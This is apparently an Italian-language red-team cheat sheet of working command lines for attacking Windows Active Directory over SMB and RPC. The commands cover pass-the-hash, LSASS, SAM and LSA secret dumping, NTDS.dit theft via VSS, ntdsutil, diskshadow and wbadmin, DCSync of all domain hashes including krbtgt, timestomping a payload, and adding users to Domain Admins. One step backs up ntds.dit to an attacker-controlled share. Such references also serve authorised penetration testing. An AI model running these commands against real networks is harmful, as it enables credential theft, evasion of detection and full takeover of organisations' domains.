-UserName jdoe -UserDomain DOMAIN -Password Password123
smbclient.py DOMAIN/jdoe:[email protected]
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt'
Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123
[↑ Torna all'indice](#index)
---
### Elenca named pipe```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe
# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123
smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"
Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
[↑ Torna all'indice](#index)
---
### SMB su SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]
# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"
# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"
# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
-Socks5 127.0.0.1:1080
netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"
Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
netview DOMAIN/jdoe:[email protected]
netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Torna all'indice](#index)
---
### Remote File Timestomping```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe
# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
-UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"
smbclient.py DOMAIN/jdoe:[email protected]
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$
Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123
> **Accesso al percorso snapshot @GMT:** `@GMT-...` non è una directory reale — Windows SRV.SYS intercetta il token nel percorso SMB2 CREATE e reindirizza allo snapshot VSS. Gli strumenti che navigano i percorsi componente per componente (incluso `Smb2Client get`) riceveranno `STATUS_OBJECT_PATH_NOT_FOUND`. Usa smbclient.py o lo smbclient nativo, che inviano il percorso completo in una singola richiesta CREATE:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
> -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```
[↑ Torna all'indice](#index)
---
### Enumerazione dei flussi di dati alternativi NTFS (ADS)```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
-c 'allinfo Windows\Temp\file.txt'
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
streams C$/Windows/Temp/file.txt
# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
-UserName jdoe -UserDomain DOMAIN -Password Password123
netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics
Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
[↑ Torna all'indice](#index)
---
### Enumerazione in blocco delle condivisioni```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares
# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
"smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24
# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
"smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24
# Titanis
while IFS= read -r host; do
echo "=== $host ==="
smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
-Password Password123 2>/dev/null
done < hosts.txt
pypykatz lsa minidump lsass.DMP
pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json
pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/
pypykatz lsa minidump lsass.DMP -o dpapi_keys.json
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy
[↑ Torna all'indice](#index)
---
### Estrai gli hash SAM```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]
# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
smbuser=jdoe smbpass=Password123 action=SAM
# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
action=SAM
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam
# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam
# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
-Password Password123 -BackupSemantics
secretsdump.py -lsa DOMAIN/jdoe:[email protected]
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=Password123 action=LSA
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
action=LSA
netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --lsa
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
[↑ Torna all'indice](#index)
---
### Dump di SAM + LSA insieme```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]
# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
smbuser=jdoe smbpass=Password123 action=ALL
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa
# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"
# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa
netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa
while IFS= read -r host; do
echo "=== $host ===" >> pypykatz_dump.txt
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}"
>> pypykatz_dump.txt 2>&1
done < hosts.txt
while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt
[↑ Torna all'indice](#index)
---
### NTDS Dump tramite VSS Snapshot
> Richiede una copia shadow VSS sul DC e legge NTDS.dit + hive SYSTEM direttamente dallo snapshot. Non usa la replica — utile quando DCSync è bloccato o monitorato.
> **⚠️ Limitazione di `-use-vss`:** `-use-vss` di secretsdump usa smbexec internamente per eseguire vssadmin e raccogliere l'output. La creazione del servizio smbexec richiede il livello di autenticazione SVCCTL `PacketPrivacy`, che secretsdump non negozia — la creazione del servizio fallisce silenziosamente e il file di output non viene mai scritto. Usa invece `-use-remoteSSWMI -use-remoteSSWMI-NTDS`, che bypassa completamente SVCCTL.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss
# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
-exec-method wmiexec
# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] -use-vss
# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
-outputfile ntds_dump -user-status -pwd-last-set
# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI
# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
-use-remoteSSWMI -use-remoteSSWMI-NTDS
# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS
# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss
# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss
# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled
# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123
# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM
# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
-c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
-c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'
# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Usa
ntdsutil ifmper creare un set Install-From-Media sul DC — un'operazione AD legittima che produce una copia di NTDS.dit. Meno rumoroso di VSS in alcuni ambienti, poiché ntdsutil è uno strumento amministrativo AD integrato.
⚠️ Limitazione dell'esecuzione WMI: ntdsutil richiede
SeBackupPrivilegee l'elevazione completa del token nel processo in esecuzione. I processi avviati tramite WMI non ricevono un token completamente elevato nemmeno per l'admin di dominio — ntdsutil restituisceAccess is deniedindipendentemente dalle credenziali. Se l'esecuzione basata su WMI fallisce, usa invecesecretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDSo il LOLBin diskshadow. Il modulo NetExec-M ntdsutilpuò avere successo tramite il suo metodo di esecuzione predefinito su alcuni target.```bash
wmiexec.py DOMAIN/Administrator:[email protected]
"ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"
smbclient.py DOMAIN/Administrator:[email protected]
netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"
Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm"
-UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
[↑ Torna all'Indice](#index)
---
### Dump NTDS tramite wbadmin (Backup di Windows Server)
> `wbadmin` è un LOLBin di Windows integrato che utilizza internamente VSS per eseguire il backup dei file su una condivisione di rete — nessuno staging locale, nessun artefatto di esecuzione del codice oltre al processo di backup. Funziona per i Backup Operators (non è richiesto DA). Richiede che la condivisione sia scrivibile dal DC.
> **⚠️ Richiede la funzionalità Windows `WindowsServerBackup`.** Il binario wbadmin è presente come stub anche quando la funzionalità non è installata — si bloccherà o fallirà silenziosamente. Verifica che la funzionalità sia attiva prima di tentare: `Get-WindowsFeature WindowsServerBackup` (PowerShell) o `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Se `InstallState` non è `Installed`, questo metodo non funzionerà.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
"powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""
# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
"wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"
# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
"wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"
# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"
# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
"wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
-itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"
# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
"reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"
# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
-UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
diskshadow.exeè un LOLBin di Windows integrato che interagisce direttamente con VSS. Utile quandovssadminè bloccato o monitorato — diskshadow è meno frequentemente segnalato. I Backup Operators possono usarlo senza DA completo. Richiede il caricamento di un file script sul DC.
⚠️ Il file script deve avere terminazioni di riga CRLF. diskshadow.exe rifiuta script con soli LF. Esegui
unix2dos shadow.dshprima del caricamento, oppure crea il file conprintfusando esplicitamente\r\n.
⚠️ Nota sul reindirizzamento
Wmi execdi Titanis: Non includere>nell'argomento del comandoWmi exec— Titanis analizza>in modo speciale e la creazione del processo fallisce conERROR_FILE_NOT_FOUND. Se devi catturare l'output, scrivi un file.batcon il reindirizzamento e caricalo separatamente, quindi esegui il file bat.```bash
cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts
smbclient.py DOMAIN/Administrator:[email protected]
Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh"
-UserName Administrator -UserDomain DOMAIN -Password Password123
wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh"
wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit"
wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh"
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit"
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"
smbclient.py DOMAIN/Administrator:[email protected]
Smb2Client get "\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123
wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s - delete shadows volume trophy"
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
gosecretsdump -ntds ntds.dit -system SYSTEM # faster alternative for large NTDS files
[↑ Torna all'indice](#index)
---
### NTDS Dump via Kerb-Key-List (RODC)
> Estrae le chiavi Kerberos AES per tutti gli account di dominio tramite il protocollo di replica delle chiavi RODC. Richiede la chiave AES o l'hash NT di un account `krbtgt` RODC (`krbtgt_XXXXX`). Non utilizza DRSUAPI o VSS — utile in ambienti in cui DCSync è bloccato. Recupera solo le chiavi Kerberos, non direttamente gli hash NTLM (anche se NTLM può essere derivato dalle chiavi RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
-use-keylist -rodcNo <RODC_number> \
-rodcKey <rodc_krbtgt_aes256_hex>
# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] \
-use-keylist -rodcNo <RODC_number> \
-rodcKey <rodc_krbtgt_aes256_hex>
Dato un ntds.dit rubato e un hive SYSTEM (da VSS, IFM, backup o pull con semantica di backup), estrai tutti gli hash localmente senza contattare nuovamente il DC.```bash
gosecretsdump -ntds ntds.dit -system SYSTEM gosecretsdump -ntds ntds.dit -system SYSTEM -enabled # enabled accounts only gosecretsdump -ntds ntds.dit -system SYSTEM -history # include password history gosecretsdump -ntds ntds.dit -system SYSTEM -out hashes.txt
[↑ Torna all'indice](#index)
---
### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
--username krbtgt
# pypykatz — pass-the-hash
pypykatz smb dcsync \
"smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"
# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
smbuser=Administrator smbpass=Password123 action=DOMAIN
# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt
# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm
# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
DOMAIN/[email protected] -just-dc-ntlm
# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
-just-dc-user DOMAIN/krbtgt
# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt
# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds
# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]
# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List
# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List krbtgt
# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List
# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
-Kdc 192.168.1.1 dc01.domain.local \
-EncryptRpc \
-OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
-OutputStyle List
# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1
samrdump.py DOMAIN/jdoe:[email protected] net.py DOMAIN/jdoe:[email protected] user
enum4linux-ng -U 192.168.1.10 -u jdoe -p Password123
netexec smb 192.168.1.10 -u jdoe -p Password123 --users
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomusers"
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
Sam enumusers 192.168.1.10 -UserName jdoe -Password Password123
samrdump DOMAIN/jdoe:[email protected]
samrdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Torna all'indice](#index)
---
### Enumerare Gruppi / Alias Locali```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group
# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup
# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser
# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"
# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo
# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
--filter "(objectClass=group)" --attr sAMAccountName,description,member
# Titanis
Sam enumgroups 192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123
# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group
lookupsid.py DOMAIN/jdoe:[email protected]
netexec smb 192.168.1.10 -u jdoe -p Password123 --rid-brute
enum4linux-ng -R 192.168.1.10 -u jdoe -p Password123
Lsa lookupsid 192.168.1.10 -UserName jdoe -Password Password123
S-1-5-21-1234567890-1234567890-1234567890-500
Lsa lookupname 192.168.1.10 -UserName jdoe -Password Password123 Administrator jdoe
lookupsid DOMAIN/jdoe:[email protected]
lookupsid -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
lookupsid DOMAIN/@192.168.1.10
[↑ Torna all'indice](#index)
---
### Enumerare gli endpoint RPC```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10
# Titanis
Epm lsep 192.168.1.10
# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10
wmiquery.py -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]
wmiquery.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-query "SELECT * FROM Win32_Process" DOMAIN/[email protected]
netexec smb 192.168.1.10 -u jdoe -p Password123 --wmi "SELECT * FROM Win32_Process"
netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
--wmi "SELECT * FROM Win32_Process"
Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
"SELECT * FROM Win32_Process"
Wmi query 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123
-OutputFields Caption,ProcessId,ParentProcessId "SELECT * FROM Win32_Process"
wmiquery -query "SELECT * FROM Win32_Process" DOMAIN/jdoe:[email protected]
wmiquery -query "SELECT * FROM Win32_Process"
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
[↑ Torna all'indice](#index)
